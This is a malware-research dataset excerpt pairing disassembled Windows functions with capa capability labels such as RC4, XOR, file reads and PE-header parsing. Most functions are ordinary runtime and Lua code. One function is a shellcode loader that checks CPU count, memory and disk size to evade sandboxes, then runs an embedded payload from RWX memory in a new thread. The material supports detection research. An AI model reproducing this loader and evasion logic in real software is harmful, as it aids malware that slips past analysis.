joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180050400
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rdx, r8
je 0x18005050f
push rbx
sub rsp, 0x20
mov qword [rsp + 0x30], rdi
mov r11, r8
lea rdi, [0x180000000]
mov r10, rdx
mov rbx, rcx
movzx edx, byte [r10 + 9]
movzx eax, dl
and al, 7
cmp al, 3
jne case.0x18005046a.8
xor dl, 7
mov byte [r10 + 9], dl
test dl, 0x20
je case.0x18005046a.8
movzx eax, byte [r10 + 8]
add eax, 0xfffffffc
cmp eax, 0x22
ja case.0x18005046a.8
cdqe
movzx eax, byte [rdi + rax + 0x50524]
mov ecx, dword [rdi + rax*4 + 0x50510]
add rcx, rdi
jmp rcx
and dl, 0xe7
or dl, 0x20
mov byte [r10 + 9], dl
jmp case.0x18005046a.8
mov rcx, qword [r10 + 0x10]
lea rax, [r10 + 0x18]
cmp rcx, rax
je 0x18005048d
and dl, 0xc7
jmp 0x180050493
and dl, 0xe7
or dl, 0x20
mov byte [r10 + 9], dl
test byte [rcx + 8], 0x40
je case.0x18005046a.8
mov rdx, qword [rcx]
test byte [rdx + 9], 0x18
je case.0x18005046a.8
mov rcx, rbx
call fcn.180050b30
jmp case.0x18005046a.8
cmp word [r10 + 0xa], 0
jne case.0x18005046a.5
mov rdx, qword [r10 + 0x18]
test rdx, rdx
je 0x1800504cf
test byte [rdx + 9], 0x18
je 0x1800504cf
mov rcx, rbx
call fcn.180050b30
and byte [r10 + 9], 0xe7
or byte [r10 + 9], 0x20
jmp case.0x18005046a.8
mov rcx, r10
call fcn.18004f910
mov rcx, qword [rbx + 0x88]
mov qword [rax], rcx
mov qword [rbx + 0x88], r10
and byte [r10 + 9], 0xc7
mov r10, qword [r10]
cmp r10, r11
jne 0x180050423
mov rdi, qword [rsp + 0x30]
add rsp, 0x20
pop rbx
ret

Function at 0x180051fc0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
mov eax, 1
movzx ecx, byte [rdx + 0xb]
mov rdi, rdx
shl eax, cl
mov rcx, rdx
cdqe
lea r8, [rax + rax*2]
mov rax, qword [rdx + 0x18]
lea rsi, [rax + r8*8]
call fcn.1800537e0
test eax, eax
je 0x180052028
xor r10d, r10d
mov r11d, eax
mov rax, qword [rdi + 0x10]
test byte [r10 + rax + 8], 0x40
je 0x18005201e
mov rdx, qword [r10 + rax]
test byte [rdx + 9], 0x18
je 0x18005201e
mov rcx, rbx
call fcn.180050b30
add r10, 0x10
sub r11, 1
jne 0x180052000
mov r10, qword [rdi + 0x18]
cmp r10, rsi
jae 0x18005207f
test byte [r10 + 8], 0xf
movzx eax, byte [r10 + 9]
jne 0x180052048
test al, 0x40
je 0x180052076
mov byte [r10 + 9], 0xb
jmp 0x180052076
test al, 0x40
je 0x18005205e
mov rdx, qword [r10 + 0x10]
test byte [rdx + 9], 0x18
je 0x18005205e
mov rcx, rbx
call fcn.180050b30
test byte [r10 + 8], 0x40
je 0x180052076
mov rdx, qword [r10]
test byte [rdx + 9], 0x18
je 0x180052076
mov rcx, rbx
call fcn.180050b30
add r10, 0x18
cmp r10, rsi
jb 0x180052031
movzx eax, byte [rdi + 9]
movzx ecx, al
and cl, 7
cmp cl, 5
jne 0x1800520bb
mov rcx, rdi
call fcn.18004f910
mov rcx, qword [rbx + 0x90]
mov qword [rax], rcx
mov qword [rbx + 0x90], rdi
and byte [rdi + 9], 0xc7
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
cmp cl, 6
jne 0x1800520c5
xor al, 2
mov byte [rdi + 9], al
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1800525b0
Capabilities:
Encode data using xor

Disassembly:
mov eax, edx
mov r10, rcx
xor eax, r8d
test rdx, rdx
je 0x1800525e1
nop dword [rax]
movzx r9d, byte [r10 + rdx - 1]
mov r8d, eax
shl r8d, 5
mov ecx, eax
add r9d, r8d
shr ecx, 2
add r9d, ecx
xor eax, r9d
sub rdx, 1
jne 0x1800525c0
ret

Function at 0x180052850
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x20
mov rsi, r8
mov rbp, rdx
cmp r8, 0x28
ja 0x180052875
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop rsi
jmp fcn.1800522e0
movabs rax, 0x7fffffffffffffdf
cmp rsi, rax
jae 0x1800528dd
mov rax, qword [rcx + 0x18]
add r8, 0x19
mov qword [rsp + 0x30], rbx
mov edx, 0x14
mov qword [rsp + 0x38], rdi
mov ebx, dword [rax + 0x60]
call fcn.18004fd80
mov r8, rsi
mov rdx, rbp
mov rdi, rax
mov dword [rax + 0xc], ebx
lea rcx, [rax + 0x18]
mov byte [rax + 0xa], 0
mov byte [rax + rsi + 0x18], 0
mov qword [rax + 0x10], rsi
call sub.VCRUNTIME140.dll_memcpy
mov rbx, qword [rsp + 0x30]
mov rax, rdi
mov rdi, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop rsi
ret
call fcn.18005a500
int3
Function at 0x18005f6b0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r13
push r14
push r15
sub rsp, 0x450
mov rax, qword [0x18008f040]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov r13d, r8d
mov rbp, rdx
mov rbx, rcx
call fcn.180045430
mov rcx, rbp
mov r15d, eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_clearerr
mov rcx, rbx
sub r15d, 1
jne 0x18005f72c
mov r8d, 1
mov rdx, rbp
call fcn.18005fee0
mov esi, eax
lea r14d, [r13 + 1]
mov rcx, rbp
call sub.api_ms_win_crt_stdio_l1_1_0.dll_ferror
test eax, eax
je 0x18005f8b5
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.180047490
jmp 0x18005f8d4
lea edx, [r15 + 0x14]
lea r8, str.too_many_arguments
call fcn.180047160
mov esi, 1
mov r14d, r13d
dec r15d
test esi, esi
je 0x18005f70a
mov edx, r14d
mov rcx, rbx
call fcn.180046550
mov edx, r14d
mov rcx, rbx
cmp eax, 3
jne 0x18005f7f0
call fcn.180046f40
mov rdi, rax
test rax, rax
jne 0x18005f7a3
mov rcx, rbp
call sub.api_ms_win_crt_stdio_l1_1_0.dll_getc
mov rdx, rbp
mov ecx, eax
mov edi, eax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_ungetc
lea rdx, [0x1800784d0]
mov rcx, rbx
call fcn.180045a80
xor esi, esi
cmp edi, 0xffffffff
setne sil
jmp 0x18005f893
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.180046e90
mov rdx, rdi
lea rcx, [rsp + 0x20]
call fcn.180047de0
mov r9, rbp
mov r8, rdi
mov edx, 1
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fread
add qword [rsp + 0x30], rax
lea rcx, [rsp + 0x20]
mov rdi, rax
call fcn.180047df0
xor esi, esi
test rdi, rdi
setne sil
jmp 0x18005f893
xor r8d, r8d
call fcn.180046fd0
movzx ecx, byte [rax]
cmp cl, 0x2a
jne 0x18005f804
movzx ecx, byte [rax + 1]
cmp cl, 0x4c
je 0x18005f883
cmp cl, 0x61
je 0x18005f831
cmp cl, 0x6c
je 0x18005f829
cmp cl, 0x6e
mov rcx, rbx
jne 0x18005f8a4
mov rdx, rbp
call fcn.180060010
jmp 0x18005f891
mov r8d, 1
jmp 0x18005f886
lea rdx, [rsp + 0x20]
mov rcx, rbx
call fcn.180046e90
nop
mov edx, 0x400
lea rcx, [rsp + 0x20]
call fcn.180047de0
mov r9, rbp
mov edx, 1
mov r8d, 0x400
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fread
add qword [rsp + 0x30], rax
cmp rax, 0x400
je 0x18005f840
lea rcx, [rsp + 0x20]
call fcn.180047df0
mov esi, 1
jmp 0x18005f893
xor r8d, r8d
mov rdx, rbp
mov rcx, rbx
call fcn.18005fee0
mov esi, eax
inc r14d
test r15d, r15d
jne 0x18005f744
jmp 0x18005f70a
lea r8, str.invalid_format
mov edx, r14d
call fcn.180046d80
jmp 0x18005f8d4
test esi, esi
jne 0x18005f8ce
mov edx, 0xfffffffe
mov rcx, rbx
call fcn.1800460c0
mov rcx, rbx
call fcn.180045a50
sub r14d, r13d
mov eax, r14d
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.180071050
add rsp, 0x450
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x180068910
Capabilities:
Query environment variable

Disassembly:
mov r11, rsp
push rsi
push r15
sub rsp, 0x478
mov rax, qword [0x18008f040]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov qword [r11 - 0x18], rbx
mov r15, rdx
mov qword [r11 - 0x20], rbp
lea rdx, str._s_s
mov qword [r11 - 0x28], rdi
mov rbx, r8
mov qword [r11 - 0x30], r14
mov rsi, rcx
mov r14, r9
lea r9, str._5_4
call fcn.180045960
mov rcx, rax
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov rdi, rax
test rax, rax
jne 0x180068982
mov rcx, rbx
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov rdi, rax
test rax, rax
je 0x180068aa7
lea r8, str.LUA_NOENV
mov edx, 0xfff0b9d8
mov rcx, rsi
call fcn.1800451c0
mov edx, 0xffffffff
mov rcx, rsi
call fcn.180046280
mov edx, 0xfffffffe
mov rcx, rsi
mov ebx, eax
call fcn.1800460c0
test ebx, ebx
jne 0x180068aa7
lea rdx, [0x180077ba4]
mov rcx, rdi
call sub.VCRUNTIME140.dll_strstr
mov rbp, rax
test rax, rax
jne 0x1800689d9
mov rdx, rdi
jmp 0x180068aaa
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rdi + rbx], 0
jne 0x1800689e0
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.180046e90
cmp rdi, rbp
jae 0x180068a3c
mov r8, rbp
lea rcx, [rsp + 0x20]
sub r8, rdi
mov rdx, rdi
call fcn.180046c50
mov rcx, qword [rsp + 0x30]
cmp rcx, qword [rsp + 0x28]
jb 0x180068a2e
mov edx, 1
lea rcx, [rsp + 0x20]
call fcn.180047de0
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x20]
mov byte [rax + rcx], 0x3b
inc qword [rsp + 0x30]
mov rdx, r14
lea rcx, [rsp + 0x20]
call fcn.180046ca0
lea rax, [rdi - 2]
add rax, rbx
cmp rbp, rax
jae 0x180068a9b
mov rcx, qword [rsp + 0x30]
cmp rcx, qword [rsp + 0x28]
jb 0x180068a75
mov edx, 1
lea rcx, [rsp + 0x20]
call fcn.180047de0
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x20]
lea rdx, [rbp + 2]
sub rbx, rbp
mov byte [rax + rcx], 0x3b
lea rcx, [rsp + 0x20]
inc qword [rsp + 0x30]
lea r8, [rbx - 2]
add r8, rdi
call fcn.180046c50
lea rcx, [rsp + 0x20]
call fcn.180047df0
jmp 0x180068ab2
mov rdx, r14
mov rcx, rsi
call fcn.180045a80
mov r8d, 0x105
lea rdx, [rsp + 0x20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov r14, qword [rsp + 0x458]
mov rdi, qword [rsp + 0x460]
mov rbp, qword [rsp + 0x468]
mov rbx, qword [rsp + 0x470]
test eax, eax
je 0x180068b50
cmp eax, 0x105
je 0x180068b50
mov edx, 0x5c
lea rcx, [rsp + 0x20]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x180068b50
xor r8d, r8d
mov byte [rax], 0
mov edx, 0xffffffff
mov rcx, rsi
call fcn.180046360
mov rdx, rax
lea r9, [rsp + 0x20]
lea r8, [0x180077b68]
mov rcx, rsi
call fcn.180047640
mov edx, 0xfffffffe
mov r8d, 0xffffffff
mov rcx, rsi
call fcn.180045d80
mov edx, 0xfffffffe
mov rcx, rsi
call fcn.1800460c0
jmp 0x180068b5f
lea rdx, str.unable_to_get_ModuleFileName
mov rcx, rsi
call fcn.180047340
mov r8, r15
mov edx, 0xfffffffd
mov rcx, rsi
call fcn.180045e70
mov edx, 0xfffffffe
mov rcx, rsi
call fcn.1800460c0
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.180071050
add rsp, 0x478
pop r15
pop rsi
ret
Function at 0x140001eb0
Capabilities:
Allocate or change rwx memory
Create thread
Get memory capacity
Get system information on windows
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x338
mov rax, qword [0x14002f040]
xor rax, rsp
mov qword [rsp + 0x320], rax
lea rcx, [rsp + 0x40]
mov edx, 4
lea rax, [0x14002a390]
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140001ee0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmmword [rcx + 0x40], xmm0
lea rcx, [rsp + 0x2f0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0x310], 2
jb 0x1400020eb
lea rcx, [rsp + 0x2b0]
mov dword [rsp + 0x2b0], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x2b8]
shr rax, 0x14
cmp eax, 0x800
jb 0x1400020eb
mov qword [rsp + 0x330], rbx
lea rcx, str..PhysicalDrive0
xor ebx, ebx
xor r9d, r9d
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rsp + 0x28], ebx
mov r8d, 3
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], rbx
lea rcx, [rsp + 0x290]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
lea rcx, [rsp + 0x298]
mov dword [rsp + 0x28], 0x18
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, rax
mov edx, 0x70000
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rsp + 0x2a8]
mov eax, dword [rsp + 0x2ac]
imul rax, rcx
mov ecx, dword [rsp + 0x2a4]
imul rax, rcx
imul rax, qword [rsp + 0x298]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x64
jb 0x1400020c9
mov edx, 8
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov r8, rax
xor edx, edx
mov qword [rax], rcx
lea rcx, [rsp + 0x290]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call fcn.140002230
mov dl, 0xa
mov rbx, rax
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call fcn.140002b90
movzx edx, al
mov rcx, rbx
call fcn.1400029e0
mov rcx, rbx
call fcn.140002880
mov rbx, qword [rsp + 0x330]
xor eax, eax
mov rcx, qword [rsp + 0x320]
xor rcx, rsp
call fcn.1400056d0
add rsp, 0x338
ret
xor eax, eax
mov rcx, qword [rsp + 0x320]
xor rcx, rsp
call fcn.1400056d0
add rsp, 0x338
ret
Function at 0x140004698
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x1400046c6
xor eax, eax
jmp 0x1400047ac
cmp qword [rcx + 0x68], 0
je 0x1400046d7
call fcn.1400047c8
jmp 0x1400047ac
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x1400046ee
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400046f0
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140004722
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.14001e4d0
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x1400047a6
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x140004759
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x140004782
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14000c448
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x1400047a6
cmp rsi, rbx
ja 0x140004760
test rsi, rsi
je 0x1400047a6
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14000c448
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x140006560
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400065aa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400065aa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400065aa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400065aa
cmp dword [rcx + 0x84], 0xe
jbe 0x1400065aa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400065ac
xor al, al
add rsp, 0x28
ret
Function at 0x14000ef7c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000efeb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000efeb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000efeb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000efeb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000efeb
cmp dword [rcx + 0x84], 0xe
jbe 0x14000efeb
cmp dword [rcx + 0xf8], 0
je 0x14000efeb
mov ecx, ebx
call fcn.14000f090
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000ee84
nop
cmp dword [rbp + 0x20], 0
jne 0x14000f04c
call fcn.140019598
cmp eax, 1
jne 0x14000f03c
xor dl, dl
jmp 0x14000f046
call fcn.140019564
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x14000f057
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000f060
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14000ef7c

Function at 0x14000f164
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000ef7c

Function at 0x140012498
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x140034050]
mov ebx, r9d
mov rdi, r8
mov esi, edx
mov rbp, rcx
cmp rax, 0xffffffffffffffff
je 0x1400124fd
test rax, rax
jne 0x1400124eb
lea r9, str.GetLocaleInfoEx
lea r8, [0x140024328]
lea rdx, str.GetLocaleInfoEx
lea ecx, [rax + 0xa]
call fcn.1400120a8
test rax, rax
je 0x1400124fd
mov r9d, ebx
mov r8, rdi
mov edx, esi
mov rcx, rbp
call fcn.14001e490
jmp 0x140012517
xor edx, edx
mov rcx, rbp
call fcn.140012788
mov ecx, eax
mov r9d, ebx
mov r8, rdi
mov edx, esi
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x1400142c4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140005d20
sub rsp, rax
mov rax, qword [0x14002f040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140012e54
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140014313
mov rax, rbp
jmp 0x14001441f
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x31350]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1400154ac
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x31350]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14001441b
mov dword [rsp + 0x30], edi
lea r9, [rsp + 0x30]
mov rcx, qword [rcx + r12*8 + 0x28]
lea rdx, [rsp + 0x40]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14001441b
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1400154ac
test rax, rax
js 0x14001441b
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14001441b
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14001440d
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14001440d
cmp byte [rcx], 0xd
jne 0x1400143f3
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140014402
cmp byte [rcx + 1], 0xa
jne 0x140014402
inc rcx
jmp 0x140014402
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x2f480]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x1400143d5
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14001441f
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1400056d0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140014640
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140014656
mov al, 1
jmp 0x1400146c2
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140014667
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400146c0
mov ecx, dword [rcx + 0x18]
nop
call fcn.140019874
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400146c0
and qword [rsp + 0x38], 0
lea r8, [rsp + 0x38]
mov r9d, 1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400146c0
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400146c0
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400146c2
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140014794
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
xor edi, edi
mov rax, r15
lea rcx, [0x140031350]
and eax, 0x3f
mov r12, r15
sar r12, 6
mov rsi, rdx
lea r9d, [rdi + 0xa]
mov r14, r15
lea rbp, [rax + rax*8]
mov rax, qword [rcx + r12*8]
mov r10, qword [rax + rbp*8 + 0x28]
test r8, r8
je 0x1400147ea
cmp word [rdx], r9w
jne 0x1400147ea
or byte [rax + rbp*8 + 0x38], 4
jmp 0x1400147ef
and byte [rax + rbp*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rax, rsi
mov rbx, rsi
cmp rsi, r8
jae 0x14001496e
mov r11d, 0xd
lea r13d, [r11 - 0xb]
movzx edx, word [rax]
cmp dx, 0x1a
je 0x140014939
lea rcx, [rax + 2]
cmp dx, r11w
jne 0x140014837
cmp rcx, r8
jae 0x140014857
cmp word [rcx], r9w
jne 0x140014837
add rax, 4
mov edx, r9d
jmp 0x14001483a
mov rax, rcx
mov word [rbx], dx
mov r9, r13
mov rcx, rbx
mov r9d, 0xa
lea rbx, [rbx + r13]
cmp rax, r8
jb 0x14001480c
jmp 0x14001496e
lea r9, [rsp + 0x80]
mov word [rsp + 0x70], di
mov r8d, r13d
mov dword [rsp + 0x80], edi
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x20], rdi
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140014932
cmp dword [rsp + 0x80], edi
je 0x140014932
lea r9, [0x140031350]
mov rax, qword [r9 + r12*8]
test byte [rax + rbp*8 + 0x38], 0x48
mov ebp, 0xa
je 0x14001490c
movzx eax, word [rsp + 0x70]
cmp ax, bp
jne 0x1400148bf
mov word [rbx], bp
jmp 0x14001496b
mov word [rsp + 0x78], ax
mov rdx, r14
mov rax, r14
sar rdx, 6
and eax, 0x3f
mov word [rbx], 0xd
lea r8, [rax + rax*8]
mov rax, qword [r9 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, r13
jl 0x1400148da
mov rax, r14
sar rax, 6
and r14d, 0x3f
mov rax, qword [r9 + rax*8]
lea rcx, [r14 + r14*8]
mov byte [rax + rcx*8 + 0x3c], bpl
jmp 0x14001496b
cmp word [rsp + 0x70], bp
jne 0x140014918
cmp rbx, rsi
je 0x1400148b7
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1400154b4
cmp word [rsp + 0x70], bp
je 0x14001496e
mov word [rbx], 0xd
jmp 0x14001496b
mov rcx, r15
lea r9, [0x140031350]
and ecx, 0x3f
mov rax, r15
sar rax, 6
lea r8, [rcx + rcx*8]
mov rcx, qword [r9 + rax*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x140014968
or al, r13b
mov byte [rcx + r8*8 + 0x38], al
jmp 0x14001496e
mov word [rbx], dx
add rbx, r13
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret